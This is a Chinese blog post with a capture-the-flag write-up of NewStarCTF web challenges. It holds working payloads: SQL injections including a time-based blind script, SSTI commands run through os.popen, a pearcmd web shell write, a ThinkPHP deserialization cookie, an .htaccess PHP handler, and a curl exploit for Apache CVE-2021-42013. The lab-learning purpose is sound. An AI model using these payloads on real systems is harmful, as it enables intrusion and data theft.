NewStarCTF 公开赛赛道

已于 2022-10-20 16:41:29 修改
阅读量1.9k 收藏 3
点赞数 1
分类专栏： BUUCTF 文章标签： web安全
于 2022-10-06 09:54:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/shinygod/article/details/126941167
版权

HTTP

跟着提示一步一步走。
在这里插入图片描述

Head?Header!

同样是跟着提示。
在这里插入图片描述

NotPHP

<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
}

在这里插入图片描述

我真的会谢

robots.txt
在这里插入图片描述
在主页源码中已经提示vim出错，所以在.index.php.swp
在这里插入图片描述
最后一个在www.zip中
在这里插入图片描述

Word-For-You

' or '1'='1
在这里插入图片描述

Word-For-You(2 Gen)

测试后发现会报错，尝试报错注入成功。

爆库information_schema,mysql,performance_schema,wfy：
name='and+updatexml(1,substr(concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),40,20),1)#


爆表wfy_admin,wfy_comments,wfy_info:
name='and+updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="wfy")),0x7e),1)#


爆列：wfy_comments列：id,text,user,name,display
name='and+updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),0x7e),1)#

flag:
name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),150,30),1)#
name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),160,30),1)#

IncludeOne

在这里插入图片描述

<?php
mt_srand(1145146);
mt_rand();
echo mt_rand();

//?file=php://filter/NewStar/read=string.rot13/resource=flag.php
//guess=1202031004

UnserializeOne

链子很好构造，没啥可说的：

Start:__destruct => Sec:__toString => Easy:__call => eeee：__clone => Start:__isset => sec:__invoke

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var) 
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke() //尝试以调用函数的方式调用一个对象
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)  //调用一个对象中不存在的方法
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

payload：

<?php
highlight_file(__FILE__);
class Start{
    public $name;
    public $func;
}

class Sec{
    public $obj;
    public $var;
}

class Easy{
    public $cla;
}

class eeee{
    public $obj;
}

$start=new Start();
$sec=new Sec();
$easy=new Easy();
$sec->obj=$easy;
$eeee=new eeee();
$eeee->obj=$start;
$sec->var=$eeee;
$start->name=$sec;
$start->func=$sec;


echo urlencode(serialize($start));

ezAPI

知识点：graphQL的内省查询，和graphQL基本query构造

知识点

渗透测试之graphQL
30分钟理解GraphQL核心概念
当CTF遇上GraphQL的那些事

分析

先简单介绍一下什么是graphQL：

graphQL就像一个客户端和服务端一个桥梁，是一个API查询语言。

GraphQL的Type的可以分两种，一种叫做Scalar Type(标量类型)，另一种叫做Object Type(对象类型)，前者就像对象里的属性，后者就像一个数组，数组里可以有很多变量，也可以有数组，这样无限递归下去，例如：

下面是一个查询语句，articles 就像一个数组，id为属性，articles里又套了一个数组，那么我们从客户端把查询语句发过去，服务端怎么处理，这边就要提一个概念：Resolver（解析函数）。在graphQL种，Resolver和query是对应的，其他的都是一一对应的，比如，articles会被articles的Resolver获取并解析。

Query {
  articles {
       id
       author {
           name
       }
       comments {
      id
      desc
      author
    }
  }
}

这段是发送post请求，且里面有个类似api的调用的网址，告诉我们是graphql。
在这里插入图片描述
传两个参数，id必须为数字，data为json格式，传到send函数里，作为content，打包一下发到对应的接口。
在这里插入图片描述

下面可以用一个payload来查一下有哪些对象和字段：

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

知道了名字
在这里插入图片描述

{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}

BabySSTI_One

过滤的不多，cat不能用可以用nl

?name={%print lipsum.__globals__.__builtins__.__import__('os').popen('nl /f*').read()%}

multiSQL

fuzz一下，没被过滤的：

length 
Length
+
handler
like
LiKe
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length 
+
REVERSE
 
ascii
ASSIC
ASSic
database
left
right
"
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SET
TABLE
THEN
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order 
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SET
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
 
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`
  
,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20

过滤了select可以使用预查询
想了解的可看以前的一道题：https://blog.csdn.net/shinygod/article/details/126909360

username=admin';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031353020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#

IncludeTwo

用burpsuit 传，用hackbar 传会有错。
想详细了解的，可以看：p神的

GET: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/tmp/hello.php
#在hello.php文件中RCE
GET: /index.php?&file=/tmp/hello
POST: 1=system('cat /f*');

在这里插入图片描述
在这里插入图片描述

Maybe You Have To think More

根据报错页面我们可以看到ThinkPHP 的版本是 5.1.x 系列的，那么这个系列是有反序列化漏洞的，原理这边就不多赘述，想详细了解的可以看一下我专门写的一篇文章:Thinkphp5.1.x反序列化漏洞复现
在这里插入图片描述
payload:

cookie:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJzaGVsbCI7YToxOntpOjA7czo0OiJjYWxsIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToic2hlbGwiO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

get:
?a=env

Give me your photo PLZ

利用 .htaccess 文件解析
上传一个图片
在传一个 .htaccess

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

Unsafe Apache

cve：https://vulhub.org/#/environments/httpd/CVE-2021-42013/

在这里插入图片描述
可以看到 web 服务器是apache 2.4.50，且这个版本是有可以直接rce的洞的 。

curl -v --data "echo;ls" 'http://node4.buuoj.cn:26509/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

BabySSTI_Three

unicode 编码绕过

/?name={{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u006d\u0072\u006f\u005f\u005f'][1]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}

Final round

先fuzz 一下，过滤的不多。

Length
+
handler
like
LiKe
select
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SELECT
insert
insERT
INSERT
right
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
+
REVERSE
ascii
ASSIC
ASSic
database
left
right
union
UNIon
UNION
"
&
&&
||
oorr
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
`
,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20

时间盲注

import requests
import time

url = "http://19a9478f-cf03-43c6-ab24-4af233a41576.node4.buuoj.cn:81/comments.php"

name = ""
i = 0
while True:
    head = 32
    tail = 127
    i += 1
    while (head < tail):
        time.sleep(0.1)
        mid = head + tail >> 1
        payload = '100&&if(ascii(mid((select(group_concat(text))from(wfy.wfy_comments)where(id=100)),%d,1))>%d,sleep(2),0)' % (i, mid)
        data = {
            'name':payload,
        }
        time1 = time.time()
        r = requests.post(url=url,data=data)
        time2 = time.time()
        if (time2-time1) > 2:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        name += chr(head)
        print(ascii(name))
    else:
        continue
succ3
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
华为中国大学生ICT大赛-网络技术赛道-WLAN知识资料
09-22
《华为中国大学生ICT大赛-网络技术赛道-WLAN知识资料》 在当今信息化社会，无线局域网（WLAN）已经成为我们日常生活和工作中不可或缺的一部分。华为作为全球领先的ICT解决方案提供商，其主办的“华为中国大学生ICT...
ICT比赛网络赛道题库
12-29
ICT比赛网络赛道题库 为2022年ICT比赛网络赛道题库，提供于ICT网络赛道省级初赛和复赛理论知识部分复习人员使用 一共有1100多道题目，其中大多数为往届题目和华为资格认证的题目，考试的时候是没有原题的，但是可以...
【buuctf】 NewStarCTF 公开赛赛道 web：Word-For-You、NotPHP
weixin_46497491的博客
09-22 2043
【buuctf】 NewStarCTF 公开赛赛道 web：Word-For-You、NotPHP
【buuctf】 NewStarCTF 公开赛赛道 web：HTTP、Head?Header!、我真的会谢
weixin_46497491的博客
09-20 2528
NewStarCTF 公开赛赛道 web：HTTP、Head?Header!、我真的会谢
NewStarCTF 公开赛赛道week2 web writeup
your_friends的博客
10-02 786
利用mt_srand是伪随机数用它给出的Hint到php_mt_seed里面直接跑。如果我们post提交了一个data那么他就不会执行后面的文件从而执行我们自己的输入。由Easy::__call方法进入eeee::__clone。进入__invoke需要调用到Start::__isset。上周做题被这道sql注入整感动了，这次增加难度又来了。由Sec::__tostring进入__call方法。最终调用点在Sec::__invoke。发现我们直接在页面查询是输入了一个id。虽然加了点难度，但是还是挺简单。
NewStarCTF 公开赛赛道week3 web writeup
your_friends的博客
10-10 1460
里面完全的没有验证，而且应该是一个简单的判断，判断成绩是否达到了425分，那么应该是使用update更新数据库信息，让火华师傅的成绩大于425即可。这里提供两种方法，一种是用replace into替换掉update，也可以使用预编译的方式。但是点击没用查询火华的成绩时候，出现两个火华，应该是多了直接删除即可。接着直接访问文件就能RCE（用bp发包，否则这里的符号会被编码）而刚进入的页面是有一个可点击的页面进去看下verify.php。题目名字可以看出来，多SQL，堆叠注入。直接拉网上的exp打。
CTF之旅WEB篇(4)--NewStarCTF 公开赛IncludeOne详解
shutTD的博客
10-02 836
主要还是考察对新东西的快速理解，还有一些其他的绕过技巧，平时要养成边刷题边把题目里的一些技巧记录下来的好习惯，这样在其他的题目里的绕过才会更得心应手。
NewStarCTF 2023 第一阶段公开赛道部分wp
10-02
这是官方的wp文件，需要的可以下载查看
第十七届智能车竞赛线上比赛赛道设计草案.pdf
03-09
### 第十七届智能车竞赛线上比赛赛道设计草案分析 #### 一、背景介绍 随着科技的进步与发展，智能车竞赛已成为高校学生展现创新能力和技术实力的重要平台之一。蓝桥杯智能汽车比赛作为一项广受关注的赛事，不仅促进...
NAIC2021比赛，AI+无线通信赛道初赛.zip
09-12
NAIC2021比赛，AI+无线通信赛道 ### 软件架构 #### Model_define_tf.py 为定义模型的代码，如encoder、decoder、量化层等，提交时就提交这个和训练好的模型权重 #### Model_train.py 为训练模型的代码 #### ...
configurable-graphql-ctf:可配置的GraphQL CTF
04-05
可配置的GraphQL CTF 这是捕获标记（CTF）样式格式的故意脆弱的GraphQL API。 开箱即用，它带有5个可配置的质询模块。 配置者应该能够配置挑战难度以及打开和关闭挑战。 所有挑战模块都具有电子商务的共同主题。 挑战基于； 认证失败 配置错误的访问控制 恶意查询 SQL注入 自定义标量验证 内容 安装 挑战配置 运行自己的CTF 制定自定义挑战（可扩展性） 1.安装 1.1安装依赖项 npm run install 1.2设置环境变量 复制.env.example并重命名为.env 使用MySQL和MongoDB凭据更新.env（该文件不受源代码控制） 保持“ CORE ENVAR”变量不变 对于“自定义标量验证”和“ SQL注入”的挑战，请从“ ./migrations”设置MongoDB集合和SQL数据库脚本。 1.3编译TypeScript npm r
NewStarCTF 公开赛赛道-WEEK1|REVERSE
qq_61774705的博客
10-07 2287
合起来就是：.flag{h3llo_rvers1ng_w0rld}加密思路就是：先把输入先base64编码->再异或字符串。解密思路就是：异或字符串->base64解码。
BUUCTF NewStarCTF 公开赛赛道Week1 Writeup
末初的CSDN博客
10-03 1672
BUUCTF NewStarCTF 公开赛赛道Week1 Writeup
NewStarCTF 公开赛-web
qq_61768489的博客
11-22 1961
cookie 修改admin 源码发现key GET和POST传参即可。
NewStarCTF 2023 Week1 web官方wp
m0_63641882的博客
10-04 667
进入题目首先要求以GET方式传参：http://ec7fe482-428e-4978-8b2c-4016472b07a7.node4.buuoj.cn:81/index.php?ctf=ok接着要求以POST方式传递secret参数，并且secret参数的值是固定的： 右键查看页面源代码可以看到base64编码后的secret值： base64解码得到 使用HackBar发送secret： 添加X-Real-IP头，
# NewStarCTF 公开赛赛道 WEEK4
as you know, nlp is fantasitc!
10-17 1087
payload注意用url编码将base64编码后的特殊字符编码。文件上传+phar反序列化。生成下payload就能打。简单的反序列化题，用。
BUUCTF NewStarCTF 公开赛赛道Week4 Writeup
末初的CSDN博客
10-16 3528
BUUCTF NewStarCTF 公开赛赛道Week4 Writeup
BUUCTF NewStarCTF 公开赛赛道Week5 Writeup
末初的CSDN博客
10-24 2107
简单的盲注流量分析当响应包的长度>765时，该条查询语句正确，tshark导出查询语句和查询正确的判断条件(包长度)Python简单处理。
用python的turtle库画一个曲折的赛车赛道
最新发布
03-18
使用Python的turtle库可以很方便地画出曲折的赛车赛道。下面是一个示例代码： ```python import turtle # 创建画布和画笔 canvas = turtle.Screen() canvas.bgcolor("white") pen = turtle.Turtle() pen.speed(0) ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值